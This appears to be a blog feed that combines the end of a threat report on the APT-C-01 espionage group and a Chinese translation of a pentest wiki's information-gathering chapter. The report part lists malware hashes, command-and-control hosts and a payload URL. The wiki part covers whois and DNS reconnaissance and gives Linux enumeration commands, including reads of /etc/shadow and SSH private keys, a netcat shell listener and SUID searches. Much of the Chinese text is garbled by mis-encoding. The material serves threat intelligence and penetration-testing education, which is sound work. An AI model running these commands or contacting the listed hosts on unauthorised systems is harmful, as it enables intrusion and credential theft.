f1b6ed2624583c913392dcd7e3ea6ae1

f27a9cd7df897cf8d2e540b6530dceb3

f29abd84d6cdec8bb5ce8d51e85ddafc

f3ed0632cadd2d6beffb9d33db4188ed

fbd0f2c62b14b576f087e92f60e7d132

fccb13c00df25d074a78f1eeeb04a0e7

0fb92524625fffda3425d08c94c014a1

168365197031ffcdbe65ab13d71b64ec

2b5ddabf1c6fd8670137cade8b60a034

517c81b6d05bf285d095e0fd91cb6f03

7deeb1b3cce6528add4f9489ce1ec5d6

aa57085e5544d923f576e9f86adf9dc0

cda1961d63aaee991ff97845705e08b8

e07ca9f773bd772a41a6698c6fd6e551

fb427874a13f6ea5e0fd1a0aec6a095c

 

附圕2 C&C列衚

毒云藀

126mailserver.serveftp.com

access.webplurk.com

aliago.dyndns.dk

as1688.webhop.org

babana.wikaba.com

backaaa.beijingdasihei.com

bt0116.servebbs.net

ceepitbj.servepics.com

check.blogdns.com

china.serveblog.net

chinamil.lflink.com

cluster.safe360.dns05.com

cnwww.m-music.net

fff.dynamic-dns.net

gaewaa.upgrinfo.com

givemea.ygto.com

givemeaaa.upgrinfo.com

goldlion.mefound.com

gugupd.008.net

guliu2008.9966.org

hyssjc.securitytactics.com

jason.zyns.com

javainfo.upgrinfo.com

jerry.jkub.com

kav2011.mooo.com

kouwel.zapto.org

laizaow.mefound.com

localhosts.ddns.us

mail.sends.sendsmtp.com

mail163.mypop3.net

mailsends.sendsmtp.com

mediatvset.no-ip.org

moneyaaa.beijingdasihei.com

motices.ourhobby.com

mp3.dnset.com

netlink.vizvaz.com

operater.solaris.nu

pps.longmusic.com

ps1688.webhop.org

rising.linkpc.net

safe360.dns05.com

sandy.ourhobby.com

soagov.sytes.net

soagov.zapto.org

soasoa.sytes.net

ssy.ikwb.com

ssy.mynumber.org

svcsrset.ezua.com

teacat.https443.org

tong.wikaba.com

updates.lflink.com

usa08.serveftp.net

waterfall.mynumber.org

webupdate.dnsrd.com

www.safe360.dns05.com

www.ssy.ikwb.com

www.tong.wikaba.com

wwwdo.tyur.acmetoy.com

xinhua.redirectme.net

131.213.66.10

146.0.32.168

165.227.220.223

188.166.67.36

199.101.133.169

45.32.8.137

45.76.125.176

45.76.228.61

45.76.9.206

45.77.171.209

bearingonly.rebatesrule.net

canberk.gecekodu.com

emailser163.serveusers.com

fevupdate.ocry.com

geiwoaaa.qpoe.com

hy-zhqopin.mynumber.org

l63service.serveuser.com

microsoftword.serveuser.com

office.go.dyndns.org

updateinfo.servegame.org

uswebmail163.sendsmtp.com

winsysupdate.dynamic-dns.net

wmiaprp.ezua.com

www.service.justdied.com

zxcv201789.dynssl.com

officepatch.dnset.com

pouhui.diskstation.org

comehigh.mefound.com

annie165.zyns.com

http://annie165.zyns.com/zxcvb.hta

from 毒云藀 PDF版本铟接䞋蜜: 毒云藀

The post 毒云藀 (APT-C-01)军政情报刺探者揭露 appeared first on 🔰雚苁ℒ🔰.

↧

林透测试 绎基癟科第䞀郚分 信息收集 Pentest

September 22, 2018, 1:35 am
$
0
0

0x01 前蚀

前段时闎github䞊看到pentest wiki这䞪项目于是就想折腟䞀䞋和几䞪基友䞀起把这䞪wiki翻译䞀波对于刚入闚的安党人员还是比蟃友奜的因䞺篇幅原因先发出第䞀郚分

Part 1 信息收集

├─信息收集
│  ├─README
│  ├─劂䜕收集whois信息 
│  └─劂䜕收集dns信息
│  ├─Linux䞋的信息收集
│  └─Windows䞋的信息收集

信息收集

圚信息收集阶段悚将通过䜿甚瀟亀媒䜓眑络Google黑客攻击目标掻劚足迹等枠道收集关于悚正圚攻击的目标的䞀切信息。林透测试人员所胜掌握的最重芁的技胜之䞀就是了解目标的胜力包括目标的行䞺操䜜方匏以及最终劂䜕被攻击。悚收集的有关悚的目标的信息将䞺悚提䟛有关安党控制类型的宝莵信息。

圚信息收集期闎悚将尝试通过慢慢地匀始探玢其系统来确定目标䞊的保技机制。䟋劂䞀䞪组通垞只允讞面向倖郚讟倇的某䞪端口子集䞊的流量劂果悚圚陀癜名单端口以倖的任䜕其他组查询该组则将被阻止。通过最初从悚阻止或检测到的可消耗IP地址进行探测来测试歀行䞺通垞是䞀䞪奜䞻意。圓悚测试Web应甚皋序时也是劂歀圚某䞪阈倌之后Web应甚皋序防火墙䌚阻止悚发出进䞀步的请求。芁圚这些测试䞭保持䞍被发现悚可以从IP地址范囎执行悚的初始扫描这些扫描䞍胜铟接回悚和悚的团队。通垞情况䞋圚互联眑䞊有倖郚存圚的机构每倩郜䌚遇到攻击䜠的初始探测可胜䌚被園类于无关信息的䞀郚分。信息收集

信息分类 乊筟
IP分析 https://www.iana.org/numbers

https://www.iana.org/assignments/as-numbers/as-numbers.xml

https://www.iso.org/obp/ui/#home

https://www.ultratools.com/tools/toolsHome

https://www.robtex.com/

http://www.team-cymru.org/IP-ASN-mapping.html

http://www.iplocation.net/

http://thyme.apnic.net/

http://bgp.he.net/

https://ipinfo.io
Whois分析 https://www.iana.org/numbers

http://www.domaintools.com/
DNS 分析 http://www.alexa.com/

http://searchdns.netcraft.com/

http://centralops.net/co/

http://www.yougetsignal.com/

http://webhosting.info/whois/

http://reverseip.domaintools.com/

http://viewdns.info/reverseip/
识别存掻䞻机 https://nmap.org/dist/sigs/?C=M;O=D

https://zmap.io/

http://masscan.net/

http://www.secdev.org/projects/scapy/
IDS/IPS 鉎定 https://www.monkey.org/~dugsong/fragroute/

http://pytbull.sourceforge.net/

http://tcpreplay.synfin.net/
匀源情报 https://www.shodan.io/

https://www.exploit-db.com/google-hacking-database/

劂䜕收集whois信息

  • Whois搜玢
  • 查询Whois数据库

关于whois的信息以及攻击者劂䜕䜿甚这些信息将䜿甚whois记圕䞭星瀺的信息来应对䞍知情的组织成员领富和员工。 本文档涉及到windows的whois信息收集针对的是Linux / Unix甚户比Windows曎倚。

Whois搜玢 信息收集

简单诎whois就是䞀䞪甚来查询域名是吊已经被泚册以及泚册域名的诊细信息的数据库劂域名所有人、域名泚册商。通过whois来实现对域名信息的查询、然而whois信息也可以垮助攻击者获取信息垮助成功林透进入眑络。

查询Whois数据库 信息收集

whois查询将返回有关目标公叞的信息。 䜿甚这种类型的查询悚还可以搜玢䞎目标公叞关联的其他实䜓。 芁对远皋䞻机执行whois查询攻击者将发出以䞋呜什whois baidu.com该蟓出将产生以䞋数据

root@wing:~# whois baidu.com
   Domain Name: BAIDU.COM
   Registry Domain ID: 11181110_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.markmonitor.com
   Registrar URL: http://www.markmonitor.com
   Updated Date: 2017-07-28T02:36:28Z
   Creation Date: 1999-10-11T11:05:17Z
   Registry Expiry Date: 2026-10-11T11:05:17Z
   Registrar: MarkMonitor Inc.
   Registrar IANA ID: 292
   Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
   Registrar Abuse Contact Phone: +1.2083895740
   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
   Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
   Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
   Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited
   Name Server: DNS.BAIDU.COM
   Name Server: NS2.BAIDU.COM
   Name Server: NS3.BAIDU.COM
   Name Server: NS4.BAIDU.COM
   Name Server: NS7.BAIDU.COM
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
&gt;&gt;&gt; Last update of whois database: 2017-12-10T07:03:24Z &lt;&lt;&lt;

For more information on Whois status codes, please visit https://icann.org/epp

NOTICE: The expiration date displayed in this record is the date the
registrar's sponsorship of the domain name registration in the registry is
currently set to expire. This date does not necessarily reflect the expiration
date of the domain name registrant's agreement with the sponsoring
registrar.  Users may consult the sponsoring registrar's Whois database to
view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois
database through the use of electronic processes that are high-volume and
automated except as reasonably necessary to register domain names or
modify existing registrations; the Data in VeriSign Global Registry
Services' ("VeriSign") Whois database is provided by VeriSign for
information purposes only, and to assist persons in obtaining information
about or related to a domain name registration record. VeriSign does not
guarantee its accuracy. By submitting a Whois query, you agree to abide
by the following terms of use: You agree that you may use this Data only
for lawful purposes and that under no circumstances will you use this Data
to: (1) allow, enable, or otherwise support the transmission of mass
unsolicited, commercial advertising or solicitations via e-mail, telephone,
or facsimile; or (2) enable high volume, automated, electronic processes
that apply to VeriSign (or its computer systems). The compilation,
repackaging, dissemination or other use of this Data is expressly
prohibited without the prior written consent of VeriSign. You agree not to
use electronic processes that are automated and high-volume to access or
query the Whois database except as reasonably necessary to register
domain names or modify existing registrations. VeriSign reserves the right
to restrict your access to the Whois database in its sole discretion to ensure
operational stability.  VeriSign may restrict or terminate your access to the
Whois database for failure to abide by these terms of use. VeriSign
reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.

我们将从䞀匀始就提到每䞪郚分最后完成A到D.然后我们将曎诊细地了解每䞪郚分诎明每䞪郚分劂䜕圱响安党性以及攻击者劂䜕将这些信息关联圢成目标诊尜的抂况; 以及有关内郚眑络的其他细节以及组织的结构以准倇林透。 䜆是圚深入研究whois郚分星瀺的信息之前我们将描述可以通过哪些whois搜玢去查询䞀䞪域名的信息。 䞋面的囟衚星瀺了查询䞖界䞊每䞪地区有关whois查询的信息。

Whois 服务 受圱响的地点 服务地址
ARIN 矎囜倧陆互联眑号码矎囜泚册局. http://arin.net
APNIC 亚倪信息䞭心. http://apnic.net
LACNIC 拉䞁矎掲和加勒比地址泚册倄 http://lacnic.net
NIC.gov 政府搜玢 http://nic.gov/whois.html
NetworkSolutions.com Com, Net, Org, Edu 名字查扟 http://networksolutions.com
Whois.net Whois 查询服务 http://whois.net
Crsnic.net Verisign Whois查询 http://crsnic.net

http://registrar.verisign-grs.com/whois/

可以从whois查询返回并滥甚的附加信息劂䞋

返回的查询 返回的数据 甹途
Address – Country Location of Target – 目标的䜍眮

– 物理安党

– 垃土搜玢

– 瀟工
Net Range – Name Servers Internet Addressing Scheme – 利甚定䜍

– 空闎蜬移 (ixfr and axfr)
Registration Update & Expirary Date formats & Times -瀟工

– DNS猓存䞭毒;
RTech handle – Rtech Email 管理员联系方匏 – First / Last Name

– 瀟工

逆向工皋

– E-mail 联系

-可胜的联系电话

– 家庭䜏址

whois收集和挖掘额倖的数据

资源 获埗的信息 信息甚途
myspace.com,

meetspot.com,

adultfriendfinder.com,

friendfinder.com,

facebook.com,classmates.com

 -调查目标信息简介

-他们接收的人

-完成喜欢䞍喜欢和猺陷

-进入他们的生掻䞭䞀䞪䞍易发现的有利䜍眮

 – 瀟工 / 逆向

– 利甚他们的机噚访问公叞机噚。

利甚嗅探进行被劚信息收集

– 物理入䟵的可胜性是物理攻击可以利甚键盘记圕噚和其他硬件来攻击。
Corporate BBS,

Google Searches for Help,

IT/IS Vendor Seaches (IBM, Solaris, Etc)

 -具䜓问题和垮助文件

技术人员或安党䞓䞚人员参䞎解决任务

– 可以利甚的长期/短期解决方案

– 甚户名的可胜性甚至是密码被利甚。

 – 瀟工 / 逆向

暎力砎解甚户名

互联眑迷䜠地囟

– 短期解决方案可胜包含挏掞; 长期的解决方案可胜需芁进䞀步挖掘

– 暎露测试目标的胜力密码的可甚性以及可以授予访问权的甚户名。
monster.com,

bigapplehead.com,

dice.com,

other job searches

 -架构利甚

– 联系信息

– 地理䜍眮

– 䌁䞚眑站䞊的额倖铟接的可胜性这可胜䌚返回曎倚的隐藏铟接。

 – 瀟工 / 逆向

– 胜借获埗䞎时访问现场拍照瀟䌚工皋垈雇䞻。

收集哪些技术胜甚于发起林透测试或攻击目标

圚面谈䞭进䞀步了解和实斜安党措斜

– 通过面谈访问, 胜借䜿我们曎加接近以及了解目标.

劂䜕收集dns信息

  • 被劚暡匏
    • DNS 枚䞟
    • OSINT(公匀情报)
  • 进攻暡匏
    -爬行眑站
  • 工具
    • recon-ng
    • dnsrecon
    • theHarvester

被劚暡匏

DNS 枚䞟

DNS 枚䞟 是查扟组织的所有DNS服务噚及其盞应记圕的过皋。 公叞可胜同时拥有内郚和倖郚DNS服务噚可以产生甚户名计算机名称和朜圚目标系统的IP地址等信息。 有埈倚工具可以甚来获取执行DNS枚䞟的信息。 可甚于DNS枚䞟的工具的䟋子是NSlookupDNSstuff矎囜互联眑号码泚册局ARIN和Whois。 芁枚䞟DNS悚必须了解DNS及其工䜜原理.

䜠必须知道DNS记圕的知识。 DNS记圕列衚提䟛了存傚圚域名系统DNS的区域文件䞭的资源记圕类型数据库记圕的抂述。 DNS实现分垃匏分层和冗䜙数据库甚于䞎Internet域名和地址盞关的信息。 圚这些域服务噚䞭䞍同的记圕类型甚于䞍同的目的。 以䞋列衚介绍垞见的DNS记圕类型及其甚法

DNS记圕类型 方法 诎明
dns query A 地址记圕返回32䜍IPv4地址最垞甚于将䞻机名映射到䞻机的IP地址䜆也甚于DNSBL圚RFC 1101䞭存傚子眑掩码等。
dns query CNAME CNAME 被称䞺规范名字。这种记圕允讞悚将倚䞪名字映射到同䞀台计算机
dns query AAAA IPv6的地址记圕, 返回䞀䞪128䜍的IPv6地址最垞甚于将䞻机名映射到䞻机的IP地址。
dns query MX 邮件亀换记圕将域名映射到该域的邮件䌠蟓代理列衚。
dns query NS 名称服务噚记圕委掟䞀䞪DNS区域䜿甚给定的权嚁名称服务噚
dns query SOA 权限记圕区域指定关于DNS区域的权嚁信息包括䞻芁名称服务噚域管理员的电子邮件域序列号以及䞎刷新区域有关的倚䞪定时噚。
dns query SPF 发件人策略框架䞀䞪简单的电子邮件验证系统旚圚通过提䟛䞀种机制来检测电子邮件欺骗以允讞接收邮件亀换者检查来自域的䌠入邮件来自该域管理员授权的䞻机。
dns query TXT 文本记圕最初甚于DNS记圕䞭任意可读的文本。
dns query PTR 指针记圕指向规范名称的指针。 侎CNAME䞍同DNS倄理停止只返回名称。 最垞见的甚途是实斜反向DNS查询䜆其他甚途包括DNS-SD等。
dns query SRV 服务定䜍噚通甚服务䜍眮记圕甚于蟃新的协议而䞍是创建协议特定的记圕劂MX。
dns query NSEC Next安党记圕DNSSEC的䞀郚分 – 甚于证明名称䞍存圚。 䜿甚䞎过时的NXT记圕盞同的栌匏。
dns query AXFR 授权区域䌠蟓将䞻区域名称服务噚䞊的敎䞪区域文件䌠蟓到蟅助名称服务噚。 DNS区域䌠蟓通垞甚于跚倚䞪DNS服务噚倍制DNS数据或倇仜DNS文件。 甚户或服务噚将执行来自“名称服务噚”的特定区域䌠蟓请求。劂果名称服务噚允讞区域䌠蟓发生名称服务噚托管的所有DNS名称和IP地址将以可读的ASCII文本圢匏返回。
dns query IXFR 增量区域䌠蟓将敎䞪区域文件从䞻名称服务噚䌠蟓到蟅助名称服务噚。
dns query DNS Wildcard 检查域名服务噚启甚通配笊查询或DNS䌪造。
dns query domain bruteforce 甚字兞暎力砎解子域名
dns query reverse bruteforce 域名反查ip
dns query srv bruteforce 暎力砎解srv记圕
dns query gtld bruteforce 暎力砎解gtld记圕
dns query tld bruteforce 暎力砎解tld记圕

OSINT

OSINT 分类 描述
OSInt Google 来自Google的Spider域名:demo.com
OSInt Bing 来自Bing的Spider域名:demo.com
OSInt Yahoo 来自Yahoo的Spider域名:demo.com
OSInt Baidu 来自癟床的Spider域名:demo.com
OSInt Netcraft 从 netcraft searchdns pages 䞊爬取域名
OSInt Github 来自Github
OSInt Shodan 来自Shodan的Spider域名
OSInt Censys 来自Censys的Spider域名
OSInt ZoomEye 来自ZoomEye的Spider域名

䞻劚攻击暡匏 信息收集

攻击暡匏	方法	                         描述
Websites	Spider default page	扫描默讀页面和爬取目标站点
Websites	Certificates	扫描域名证乊
Tools
recon-ng 呜什	Description
use recon/domains-hosts/baidu_site	通过baidu搜玢域名
use recon/domains-hosts/bing_domain_api	通过bing api搜玢域名
use recon/domains-hosts/bing_domain_web	通过bing web pages搜玢域名
use recon/domains-hosts/brute_hosts	爆砎子域名
use recon/domains-hosts/google_site_api	通过google api搜玢域名
use recon/domains-hosts/google_site_web	通过 google web pages 搜玢域名.
use recon/domains-hosts/netcraft	Search domains from netcraft pages.
dnsrecon 呜什	Description
dnsrecon -n 8.8.8.8 -d demo.com	请䜿甚有效的DNS服务噚以避免DNS䌪造。
dnsrecon -d demo.com -t std	SOANSAAAAAMX和SRV劂果NS服务噚䞊的AXRF倱莥。
dnsrecon -d demo.com -t rvl	反向查扟给定的CIDR或IP范囎。
dnsrecon -d demo.com -t brt -D /path/to/subdomains.wd	䜿甚之指定字兞爆砎域名和hosts.
dnsrecon -d demo.com -t brt -D /path/to/subdomains.wd --iw	䜿甚指定目圕字兞暎力砎解域名即䜿发现了目圕䟝然继续暎力砎解
dnsrecon -d demo.com -t srv	SRV 记圕
dnsrecon -d demo.com -t axfr	䞺空闎蜬移测试所有NS服务噚.
dnsrecon -d demo.com -t goo	通过google搜玢存掻子域和䞻机.
dnsrecon -d demo.com -t tld	删陀给定域的TLD并针对圚IANA䞭泚册的所有TLD进行测试
dnsrecon -d demo.com -t zonewalk	䜿甚NSEC记圕执行DNSSEC区域挫枞。
dnsrecon -d demo.com --db /path/to/results.sqlite	将结果保存圚䞀䞪sqlite文件䞭
dnsrecon -d demo.com --xml /path/to/results.xml	将结果保存圚䞀䞪xml文件䞭。
dnsrecon -d demo.com -c /path/to/results.csv	将结果保存圚䞀䞪csv文件䞭。
dnsrecon -d demo.com -j /path/to/results.json	将结果保存圚䞀䞪json文件䞭。
theHarvester Command	诎明
theharvester -d demo.com -b all	通过 google, googleCSE, bing, bingapi, pgp, linkedin,google-profiles, jigsaw, twitter, googleplus,等方法来查询目标信息
theharvester -d demo.com -n	对发现的所有眑段执行DNS反向查询
theharvester -d demo.com -c	对域名执行DNS爆砮
theharvester -d demo.com -t	执行DNS TLD扩展发现
theharvester -d demo.com -e 8.8.8.8	指定䞀䞪DNS服务噚
theharvester -d demo.com -h	䜿甚SHODAN数据库查询已发现的䞻机
Metasploit Command	诎明
msf > use auxiliary/gather/enum_dns	收集dns记圕信息(A, AAAA, CNAME, ZoneTransfer, SRV, TLD, RVL, ...)

 

Tools

recon-ng 呜什	 Description
use recon/domains-hosts/baidu_site	通过baidu搜玢域名
use recon/domains-hosts/bing_domain_api	通过bing api搜玢域名
use recon/domains-hosts/bing_domain_web	通过bing web pages搜玢域名
use recon/domains-hosts/brute_hosts	爆砎子域名
use recon/domains-hosts/google_site_api	通过google api搜玢域名
use recon/domains-hosts/google_site_web	通过 google web pages 搜玢域名.
use recon/domains-hosts/netcraft	Search domains from netcraft pages.

 

dnsrecon 呜什 Description
dnsrecon -n 8.8.8.8 -d demo.com 请䜿甚有效的DNS服务噚以避免DNS䌪造。
dnsrecon -d demo.com -t std SOANSAAAAAMX和SRV劂果NS服务噚䞊的AXRF倱莥。
dnsrecon -d demo.com -t rvl 反向查扟给定的CIDR或IP范囎。
dnsrecon -d demo.com -t brt -D /path/to/subdomains.wd 䜿甚之指定字兞爆砎域名和hosts.
dnsrecon -d demo.com -t brt -D /path/to/subdomains.wd –iw 䜿甚指定目圕字兞暎力砎解域名即䜿发现了目圕䟝然继续暎力砎解
dnsrecon -d demo.com -t srv SRV 记圕
dnsrecon -d demo.com -t axfr 䞺空闎蜬移测试所有NS服务噚.
dnsrecon -d demo.com -t goo 通过google搜玢存掻子域和䞻机.
dnsrecon -d demo.com -t tld 删陀给定域的TLD并针对圚IANA䞭泚册的所有TLD进行测试
dnsrecon -d demo.com -t zonewalk 䜿甚NSEC记圕执行DNSSEC区域挫枞。
dnsrecon -d demo.com –db /path/to/results.sqlite 将结果保存圚䞀䞪sqlite文件䞭
dnsrecon -d demo.com –xml /path/to/results.xml 将结果保存圚䞀䞪xml文件䞭。
dnsrecon -d demo.com -c /path/to/results.csv 将结果保存圚䞀䞪csv文件䞭。
dnsrecon -d demo.com -j /path/to/results.json 将结果保存圚䞀䞪json文件䞭。
theHarvester Command 诎明
theharvester -d demo.com -b all 通过 google, googleCSE, bing, bingapi, pgp, linkedin,google-profiles, jigsaw, twitter, googleplus,等方法来查询目标信息
theharvester -d demo.com -n 对发现的所有眑段执行DNS反向查询
theharvester -d demo.com -c 对域名执行DNS爆砮
theharvester -d demo.com -t 执行DNS TLD扩展发现
theharvester -d demo.com -e 8.8.8.8 指定䞀䞪DNS服务噚
theharvester -d demo.com -h 䜿甚SHODAN数据库查询已发现的䞻机
Metasploit Command 诎明
msf > use auxiliary/gather/enum_dns 收集dns记圕信息(A, AAAA, CNAME, ZoneTransfer, SRV, TLD, RVL, 
)

盞关铟接

Linux䞋的信息收集

系统架构
盞关呜什及诎明
  • uname -a  uname呜什报告有关计算机的蜯件和硬件的基本信息。

信息收集

  • cat /etc/issue 文件/ etc / issue是䞀䞪文本文件其䞭包含芁圚登圕提瀺之前打印的消息或系统标识。

信息收集

  • cat /etc/*-release /etc/lsb-release, /etc/redhat-release 文件包含䞀䞪被解析以获取信息的描述行。 䟋劂“分销商版本x.x代号”

信息收集

  • cat /proc/version / proc/version指定了Linux内栞的版本甚于猖译内栞的gcc的版本以及内栞猖译的时闎。 它还包含内栞猖译噚的甚户名。

  • cat /proc/sys/kernel/version /proc/sys/kerne /䞭的文件可以甚来调敎和监视Linux内栞操䜜䞭的各种掻劚 信息收集

信息收集

进皋
  • ps -ef /ps aux : 列出圓前进皋快照

信息收集

信息收集

  • top: top呜什星瀺悚的Linux机噚的倄理噚掻劚并星瀺实时管理的任务。 它䌚星瀺正圚䜿甚的倄理噚和内存以及运行进皋等其他信息。

信息收集

  • ls -al /proc/: /proc是非垞特殊的它也是䞀䞪虚拟文件系统。 它有时被称䞺过皋信息䌪文件系统。 它䞍包含“真实”文件而是包含运行时系统信息䟋劂系统内存安装的讟倇硬件配眮等。
    信息收集
  • ls -al /proc/99 :查看关于PID 99的信息.
    信息收集
甚户和组
Command Description
id 扟到甚户的UID或GID等信息.
w 星瀺登圕到Linux服务噚的人员.
whoami 星瀺圓前甚户名
lastlog 栌匏化打印䞊次登圕日志/var/log/lastlog文件的内容。
cat /etc/passwd 有关甚户信息的基于文本的数据库可以登圕系统或其他拥有正圚运行的进皋的操䜜系统甚户身仜。
cat /etc/shadow /etc/shadow甚于通过限制陀高床特权的甚户对散列密码数据的访问来提高密码的安党级别。 通垞情况䞋该数据保存圚超级甚户拥有的文件䞭并䞔只胜由超级甚户访问。
cat /etc/master.passwd /etc/master.passwd on BSD systems
cat /etc/sudoers /etc/sudoers 文件内容是䜿甚sudo呜什必须遵守的规则
sudo -V 打印sudo版本字笊䞲
cat ~/.ssh/authorized_keys 䜿甚公钥讀证讀证实䜓具有公钥和私钥。 每䞪key郜是具有特殊数孊属性的倧数字。私钥保存圚悚登圕的计算机䞊而公钥存傚圚芁登圕的所有计算机䞊的.ssh/authorized_keys文件䞭。
cat ~/.ssh/identity.pub 文件identity.pub包含悚的公钥可以将其添加到其他系统的authorized_keys文件䞭。
cat ~/.ssh/identity ssh客户端允讞悚选择读取RSA或DSA身仜验证标识私钥的文件。
cat ~/.ssh/id_rsa.pub RSA 公钥 䌚保存䞺 .ssh/id_rsa.pub.
cat ~/.ssh/id_rsa RSA 私钥 䌚保存圚䜠的home目圕䞭 .ssh/id_rsa。
cat ~/.ssh/id_dsa.pub DSA公钥 䌚保存䞺 .ssh/id_rsa.pub.
cat ~/.ssh/id_dsa DSA 私钥 䌚保存圚䜠的home目圕䞭 .ssh/id_dsa。
cat /etc/ssh/ssh_config OpenSSH SSH 控制端配眮文件
cat /etc/ssh/sshd_config OpenSSH SSH 服务端配眮文件
cat /etc/ssh/ssh_host_dsa_key.pub sshd守技进皋䜿甚的DSA公钥.
cat /etc/ssh/ssh_host_dsa_key sshd守技进皋䜿甚的DSA私钥。
cat /etc/ssh/ssh_host_rsa_key.pub sshd守技皋序甚于SSH协议版本2的RSA公钥。
cat /etc/ssh/ssh_host_rsa_key sshd守技进皋䜿甚的RSA私钥。
服务
Command Description
service -status-all 检查所有服务状态
systemctl -a 列出安装圚文件系统䞭的所有单元.
service servicename start<BR>systemctl start servicename 启劚某䞪服务
service servicename stop<BR>systemctl stop servicename 停止某䞪服务
service servicename status<BR>systemctl status servicename 星瀺某䞪服务状态信息
cat /etc/services /etc/ services将端口号映射到指定的服务.
安党

Command	Description
iptables -L	列出所有规则铟。
iptables -F	删陀选定规则铟䞭的所有规则.
iptables -A INPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT	请执行iptables -p icmp --help 获埗曎倚信息.
iptables -A INPUT -p tcp -m tcp --sport 80 -m state --state RELATED,ESTABLISHED -j ACCEPT	允讞来自src端口80的tcp连接
iptables -A OUTPUT -p tcp -m tcp --dport 80 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT	允讞 从/到 dst 端口80的TCP连接.
iptables -A INPUT -p udp -m udp --sport 53 -m state --state RELATED,ESTABLISHED -j ACCEPT	允讞来自src端口80的udp连接
iptables -A OUTPUT -p udp -m udp --dport 53 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT	允讞从/到 dst 端口53的udp连接.
iptables -A OUTPUT -p tcp -m tcp --sport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT<BR>iptables -A OUTPUT -p tcp -m tcp --dport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT	允讞本地䞻机连接到 localhost:55552

 

眑络
Command Description
ifconfig -a 星瀺圓前可甚的所有接口
hostname 星瀺或讟眮系统的䞻机名称。
dnsdomainname 星瀺系统的DNS域名。
netstat -antp 星瀺眑络状态
netstat -anup 星瀺眑络状态
chkconfig –list 星瀺所有运行级系统服务的运行状态信息
lsof -nPi 列出打匀的文件
route -e 星瀺/操䜜IP路由衚
iwconfig 配眮无线眑络接口
cat /etc/resolv.conf 该文件是DNS域名解析的配眮文件它的栌匏埈简单每行以䞀䞪关键字匀倎后接配眮参数。resolv.conf的关键字䞻芁有四䞪分别是nameserver :定义DNS服务噚的IP地址 domain :定义本地域名 search :定义域名的搜玢列衚 sortlist #对返回的域名进行排序
cat /etc/hosts /etc/hosts 是䞀䞪简单的文本文件将IP地址䞎䞻机名盞关联每䞪IP地址䞀行。
cat /etc/network/interfaces /etc/network/interfaces 文件包含眑络接口配眮信息。
cat /etc/sysconfig/network /etc/sysconfig/network文件甚于指定有关服务噚䞊所需眑络配眮的信息。
cat /etc/networks /etc/networks 是䞀䞪简单的ASCII文件描述这些眑络的已知DARPA眑络和笊号名称。
cat /proc/net/tcp 以十六进制暡匏打印tcp信息
cat /proc/net/udp 以十六进制暡匏打印udp信息
cat /proc/net/icmp 以十六进制暡匏打印icmp信息
cat /proc/net/route 以十六进制暡匏打印路由信息
cat /etc/inetd.conf inetd也称䞺超级服务噚将根据来自眑络的请求加蜜眑络皋序。 inetd.conf文件告诉inetd芁䟊听的端口以及䞺每䞪端口启劚的服务噚.
cat /etc/xinetd.conf xinetd.conf是确定xinetd提䟛的服务的配眮文件.
ls -R /etc/network/ 星瀺有关眑络配眮的文件
ls -al /etc/init.d 列出所有的init脚本
iptables -L -t nat 打印nat的规则铟
iptables -L -t mangle 打印mangle铟的规则
tcpdump tcpdump倇忘圕
nc -v host port 建立䞀䞪tcp连接
nc -v -e /bin/sh -l -p port 反匹shell给本地的䞀䞪端口
文件系统
Command Description
cat /etc/profile /etc/profile 包含Linux系统环境和启劚皋序。 它被所有的甚户䜿甚于bashkshsh shell。
cat /etc/bashrc /etc/bashrc 或者 /etc/bash.bashrc是党系统的bash每䞪亀互匏shell启劚文件。 是䜿甚系统广泛的功胜和别名。
cat ~/.bash_profile 类䌌 /etc/profile, 䜆仅适甚于圓前甚户
car ~/.bash_history 打印圓前甚户bash呜什的历史记圕
cat ~/.bashrc ~/.bashrc是存傚圚悚的䞻目圕$HOME䞭的单䞪每䞪亀互匏shell启劚文件。
car ~/.zshrc ~/.zshrc是存傚圚悚的䞻目圕$ HOME䞭的单䞪亀互匏shell启劚文件。
cat ~/.bash_logout 文件〜/ .bash_logout䞍甚于调甚shell。 圓甚户从亀互匏登圕shell䞭退出时它被读取并执行。
ls -al /var/log/ 列出所有日志文件
find / -perm -1000 -type d 2>/dev/null 粘滞䜍 – 只有目圕的所有者或文件的所有者可以圚这里删陀或重呜名.
find / -perm -g=s -type f 2>/dev/null SGIDchmod 2000 – 䜜䞺组运行而䞍是启劚它的甚户。
find / -perm -u=s -type f 2>/dev/null SUIDchmod 4000 – 䜜䞺所有者运行而䞍是启劚它的甚户。 
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
 SGID 或者 SUID 
for i in locate -r "bin$"; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done
 圚SGID或SUID快速搜玢䞭查扟’common’䜍眮/ bin/ sbin/ usr / bin/ usr / sbin/ usr / local / bin/ usr / local / sbin和其他任䜕*bin。 
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
 从根目圕/SGID或SUID匀始而䞍是笊号铟接只有3䞪文件倹的深床列出曎倚的细节和隐藏的任䜕错误䟋劂权限被拒绝
find / -writable -type d 2>/dev/null 扟出可写的文件倹
find / -perm -222 -type d 2>/dev/null 扟出可写的文件倹
find / -perm -o w -type d 2>/dev/null 扟出可写的文件倹
find / -perm -o x -type d 2>/dev/null 扟出可写的文件倹 
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
 扟出可写可执行的文件倹 
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print
 扟出可写的文件
find /dir -xdev ( -nouser -o -nogroup ) -print 扟出䞍是所有者的文件
皋序
